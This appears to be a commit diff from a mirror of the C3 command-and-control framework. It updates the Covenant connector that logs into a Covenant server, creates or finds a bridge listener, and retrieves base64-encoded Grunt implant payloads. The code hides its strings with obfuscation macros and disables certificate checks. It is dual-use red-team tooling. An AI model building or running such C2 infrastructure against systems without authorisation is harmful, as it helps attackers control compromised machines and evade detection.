mirror of https://github.com/infosecn1nja/C3.git
update in response to merge comments. Covenant connector now looks for C3Bridge listener before creating one. User now only supplies listener port, url, username and password
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6a7598c814
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86244b322d
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@ -136,9 +136,54 @@ namespace MWR::C3::Interfaces::Connectors
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/// Map of all connections.
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std::unordered_map<std::string, std::unique_ptr<Connection>> m_ConnectionMap;
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bool GetListenerId();
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};
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}
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bool MWR::C3::Interfaces::Connectors::Covenant::GetListenerId()
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{
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std::string url = this->m_webHost + OBF("/api/listeners");
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json response;
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web::http::client::http_client_config config;
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config.set_validate_certificates(false); //Covenant framework is unlikely to have a valid cert.
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web::http::client::http_client webClient(utility::conversions::to_string_t(url), config);
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web::http::http_request request;
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request = web::http::http_request(web::http::methods::GET);
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std::string authHeader = OBF("Bearer ") + this->m_token;
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request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
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pplx::task<web::http::http_response> task = webClient.request(request);
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web::http::http_response resp = task.get();
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if (resp.status_code() == web::http::status_codes::OK)
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{
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//Get the json response
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auto respData = resp.extract_string();
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response = json::parse(respData.get());
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for (auto& listeners : response)
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{
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if (listeners[OBF("name")] == OBF("C3Bridge"))
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{
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this->m_ListenerId = listeners[OBF("id")].get<int>();
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this->m_ListeningPostAddress = listeners[OBF("connectAddresses")][0].get<std::string>();
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this->m_ListeningPostPort = listeners[OBF("connectPort")];
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return true;
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}
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}
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return false; //we didn't find the listener
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}
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else
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throw std::exception((OBF("[Covenant] Error getting Listeners, HTTP resp: ") + std::to_string(resp.status_code())).c_str());
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}
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//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
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//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
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MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
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@ -146,7 +191,12 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
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json postData;
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json response;
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std::tie(m_ListeningPostAddress, m_ListeningPostPort, m_webHost, m_username, m_password) = arguments.Read<std::string, uint16_t, std::string, std::string, std::string>();
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std::tie(m_ListeningPostPort, m_webHost, m_username, m_password) = arguments.Read<uint16_t, std::string, std::string, std::string>();
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// if the last character is '/' remove it
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if (this->m_webHost.back() == '/')
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this->m_webHost.pop_back();
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/***Authenticate to Web API ***/
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std::string url = this->m_webHost + OBF("/api/users/login");
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@ -182,6 +232,16 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
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else
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throw std::exception(OBF("[Covenant] Could not get token, invalid logon"));
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//If the listener doesn't already exist create it.
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if (!GetListenerId())
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{
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//extract ip address from url
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size_t start = 0, end = 0;
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start = url.find("://") + 3;
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end = url.find(":", start + 1);
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this->m_ListeningPostAddress = url.substr(start, end - start);
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///Create the bridge listener
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url = this->m_webHost + OBF("/listener/createbridge");
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web::http::client::http_client webClientBridge(utility::conversions::to_string_t(url), config);
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@ -200,51 +260,12 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
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resp = task.get();
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if (resp.status_code() == web::http::status_codes::OK)
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{
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//Find the listener we just created
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url = this->m_webHost + OBF("/api/listeners");
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web::http::client::http_client webClientListeners(utility::conversions::to_string_t(url), config);
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request = web::http::http_request(web::http::methods::GET);
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std::string authHeader = OBF("Bearer ") + this->m_token;
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request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
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task = webClientListeners.request(request);
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resp = task.get();
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bool found = false;
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if (resp.status_code() == web::http::status_codes::OK)
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{
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//Get the json response
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auto respData = resp.extract_string();
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response = json::parse(respData.get());
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for (auto& listeners : response)
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{
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if (listeners[OBF("name")] == OBF("C3Bridge"))
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{
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this->m_ListenerId = listeners[OBF("id")].get<int>();
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found = true;
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}
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}
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}
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//will be true if status_code != OK or C3Bridge wasn't found
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if (!found)
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{
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throw std::exception(OBF("[Covenant] unable to identify ID of Bridge Listener"));
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GetListenerId(); //now get the id of the listener
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else
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throw std::exception((OBF("[Covenant] Error setting up BridgeListener, HTTP resp: ") + std::to_string(resp.status_code())).c_str());
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}
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InitializeSockets();
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}
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else
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throw std::exception((OBF("[Covenant] Error setting up BridgeListener, HTTP resp: ") + std::to_string(resp.status_code())).c_str());
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}
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////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
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MWR::C3::Interfaces::Connectors::Covenant::~Covenant()
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@ -328,10 +349,17 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteV
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task = webClient.request(request);
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resp = task.get();
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if (resp.status_code() == web::http::status_codes::OK)
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{
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auto respData = resp.extract_string();
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json resp = json::parse(respData.get());
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binary = resp[OBF("base64ILByteString")].get<std::string>(); //Contains the base64 encoded .NET assembly.
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}
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else
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throw std::runtime_error(OBF("[Covenant] Non-200 HTTP code returned: ") + std::to_string(resp.status_code()));
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}
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else
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throw std::runtime_error(OBF("[Covenant] Non-200 HTTP code returned: ") + std::to_string(resp.status_code()));
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auto payload = cppcodec::base64_rfc4648::decode(binary);
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@ -348,8 +376,7 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteV
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MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::CloseConnection(ByteView arguments)
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{
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auto id = arguments.Read<std::string>();
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m_ConnectionMap.erase(id);
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m_ConnectionMap.erase(arguments);
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return {};
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}
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@ -377,16 +404,11 @@ MWR::ByteView MWR::C3::Interfaces::Connectors::Covenant::GetCapability()
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{
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"arguments":
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[
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{
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"type": "ip",
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"name": "Address",
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"description": "C2Bridge ip address - this will be setup automatically"
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},
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{
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"type": "uint16",
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"name": "Port",
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"name": "C2BridgePort",
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"min": 1,
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"description": "C2Bridge port - this will be setup automatically"
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"description": "The port for the C2Bridge Listener if it doesn't already exist."
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},
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{
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"type": "string",
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@ -560,3 +582,4 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::PeripheralCreationCom
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}
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@ -193,7 +193,7 @@ MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
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}
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}
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std::runtime_error{ OBF("Grunt creation failed") };
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throw std::runtime_error{ OBF("Grunt creation failed") };
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}
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void MWR::C3::Interfaces::Peripherals::Grunt::OnCommandFromConnector(ByteView data)
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